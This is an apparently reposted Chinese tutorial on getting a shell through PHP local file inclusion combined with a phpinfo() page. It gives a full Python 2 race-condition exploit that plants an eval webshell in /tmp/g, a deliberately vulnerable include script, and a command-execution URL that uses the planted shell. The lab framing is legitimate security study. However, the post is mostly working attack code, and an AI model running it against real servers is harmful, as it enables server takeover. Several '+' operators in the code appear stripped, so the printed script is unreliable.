phpinfo包含临时文件Getshell全过程和源码
目录
前言
PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如session文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。假如在服务器上找不到我们可以包含的文件,此时可以通过利用一些技巧让服务存储我们恶意生成的临时文件,该临时文件包含我们构造的的恶意代码,此时服务器就存在我们可以包含的文件了。如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。
-
$_FILES['userfile']['name'] 客户端文件的原名称。
-
$_FILES['userfile']['type'] 文件的 MIME 类型,如果浏览器提供该信息的支持,例如"image/gif"。
-
$_FILES['userfile']['size'] 已上传文件的大小,单位为字节。
-
$_FILES['userfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,默认是/tmp目录。
-
$_FILES['userfile']['error'] 该文件上传的错误代码,上传成功其值为0,否则为错误信息。
原理
过程1.发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
2.phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
3.php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
4.操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
5.此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
6.利用这个时间差,发第二个数据包,即可成功包含临时文件,最终getshell
处理PHP 对 enctype="multipart/form-data"请求的处理过程如下:1、请求到达;2、创建临时文件(通常是/tmp/php[6 个随机字符]),并写入上传文件的内容;3、调用相应 PHP 脚本进行处理,如校验名称、大小等;4、删除临时文件。总结php post 上传文件产生临时文件,phpinfo读临时文件的路径和名字,本地包含后生成后门
漏洞复现
靶场环境
- kali(192.168.10.128)
- Ubuntu(192.168.10.139)
源码
- upload.html(kali)
-
-
<html>
-
<body>
-
<form action="http://192.168.10.139/06/phpinfo.php" method="POST"
-
enctype="multipart/form-data">
-
<h3> Test upload tmp file</h3>
-
<label for="file">Filename:</label>
-
<input type="file" name="file"/><br/>
-
<input type="submit" name="submit" value="Submit" />
-
</form>
-
</body>
-
</html>
- lfi.php(Ubuntu)
-
-
include $_GET['file'];
-
- phpinfo.php(Ubuntu)
-
-
phpinfo();
-
- 代码测试
http://ip/06/lfi.php?file=phpinfo.php
- py2脚本
-
#!/usr/bin/python
-
import sys
-
import threading
-
import socket
-
-
def setup(host, port):
-
TAG="Security Test"
-
PAYLOAD="""%s\r
-
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
-
REQ1_DATA="""-----------------------------7dbff1ded0714\r
-
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
-
Content-Type: text/plain\r
-
\r
-
%s
-
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
-
padding="A" * 5000
-
REQ1="""POST /06/phpinfo.php?a=""" padding """ HTTP/1.1\r
-
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" padding """\r
-
HTTP_ACCEPT: """ padding """\r
-
HTTP_USER_AGENT: """ padding """\r
-
HTTP_ACCEPT_LANGUAGE: """ padding """\r
-
HTTP_PRAGMA: """ padding """\r
-
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
-
Content-Length: %s\r
-
Host: %s\r
-
\r
-
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
-
#modify this to suit the LFI script
-
LFIREQ="""GET /06/lfi.php?file=%s HTTP/1.1\r
-
User-Agent: Mozilla/4.0\r
-
Proxy-Connection: Keep-Alive\r
-
Host: %s\r
-
\r
-
\r
-
"""
-
return (REQ1, TAG, LFIREQ)
-
-
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
-
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-
-
s.connect((host, port))
-
s2.connect((host, port))
-
-
s.send(phpinforeq)
-
d = ""
-
while len(d) < offset:
-
d = s.recv(offset)
-
try:
-
i = d.index("[tmp_name] => ")
-
fn = d[i 17:i 31]
-
except ValueError:
-
return None
-
-
s2.send(lfireq % (fn, host))
-
d = s2.recv(4096)
-
s.close()
-
s2.close()
-
-
if d.find(tag) != -1:
-
return fn
-
-
counter=0
-
class ThreadWorker(threading.Thread):
-
def __init__(self, e, l, m, *args):
-
threading.Thread.__init__(self)
-
self.event = e
-
self.lock = l
-
self.maxattempts = m
-
self.args = args
-
-
def run(self):
-
global counter
-
while not self.event.is_set():
-
with self.lock:
-
if counter >= self.maxattempts:
-
return
-
counter =1
-
-
try:
-
x = phpInfoLFI(*self.args)
-
if self.event.is_set():
-
break
-
if x:
-
print "\nGot it! Shell created in /tmp/g"
-
self.event.set()
-
-
except socket.error:
-
return
-
-
-
def getOffset(host, port, phpinforeq):
-
"""Gets offset of tmp_name in the php output"""
-
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-
s.connect((host,port))
-
s.send(phpinforeq)
-
-
d = ""
-
while True:
-
i = s.recv(4096)
-
d =i
-
if i == "":
-
break
-
# detect the final chunk
-
if i.endswith("0\r\n\r\n"):
-
break
-
s.close()
-
i = d.find("[tmp_name] => ")
-
if i == -1:
-
raise ValueError("No php tmp_name in phpinfo output")
-
-
print "found %s at %i" % (d[i:i 10],i)
-
# padded up a bit
-
return i 256
-
-
def main():
-
-
print "LFI With PHPInfo()"
-
print "-=" * 30
-
-
if len(sys.argv) < 2:
-
print "Usage: %s host [port] [threads]" % sys.argv[0]
-
sys.exit(1)
-
-
try:
-
host = socket.gethostbyname(sys.argv[1])
-
except socket.error, e:
-
print "Error with hostname %s: %s" % (sys.argv[1], e)
-
sys.exit(1)
-
-
port=80
-
try:
-
port = int(sys.argv[2])
-
except IndexError:
-
pass
-
except ValueError, e:
-
print "Error with port %d: %s" % (sys.argv[2], e)
-
sys.exit(1)
-
-
poolsz=10
-
try:
-
poolsz = int(sys.argv[3])
-
except IndexError:
-
pass
-
except ValueError, e:
-
print "Error with poolsz %d: %s" % (sys.argv[3], e)
-
sys.exit(1)
-
-
print "Getting initial offset...",
-
reqphp, tag, reqlfi = setup(host, port)
-
offset = getOffset(host, port, reqphp)
-
sys.stdout.flush()
-
-
maxattempts = 1000
-
e = threading.Event()
-
l = threading.Lock()
-
-
print "Spawning worker pool (%d)..." % poolsz
-
sys.stdout.flush()
-
-
tp = []
-
for i in range(0,poolsz):
-
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
-
-
for t in tp:
-
t.start()
-
try:
-
while not e.wait(1):
-
if e.is_set():
-
break
-
with l:
-
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
-
sys.stdout.flush()
-
if counter >= maxattempts:
-
break
-
print
-
if e.is_set():
-
print "Woot! \m/"
-
else:
-
print ":("
-
except KeyboardInterrupt:
-
print "\nTelling threads to shutdown..."
-
e.set()
-
-
print "Shuttin' down..."
-
for t in tp:
-
t.join()
-
-
if __name__=="__main__":
-
main()
复现过程
修改py脚本中的PHPinfo和lfi的位置,以及一句话后门的密码,在kali中用pyhton2执行脚本
python2 lfi.py 192.168.10.139 80
现在我们查询Ubuntu的/tem目录,发现后门已经生成
尝试包含
http://ip/06/lfi.php?file=/tmp/g&1=system('ls /');
蚁剑连接
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhgaekhk
系列文章
更多
同类精品
更多
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
excel下划线不显示怎么办
PHP中文网 06-23 -
怎样阻止微信小程序自动打开
PHP中文网 06-13 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
TikTok加速器哪个好免费的TK加速器推荐
TK小达人 10-01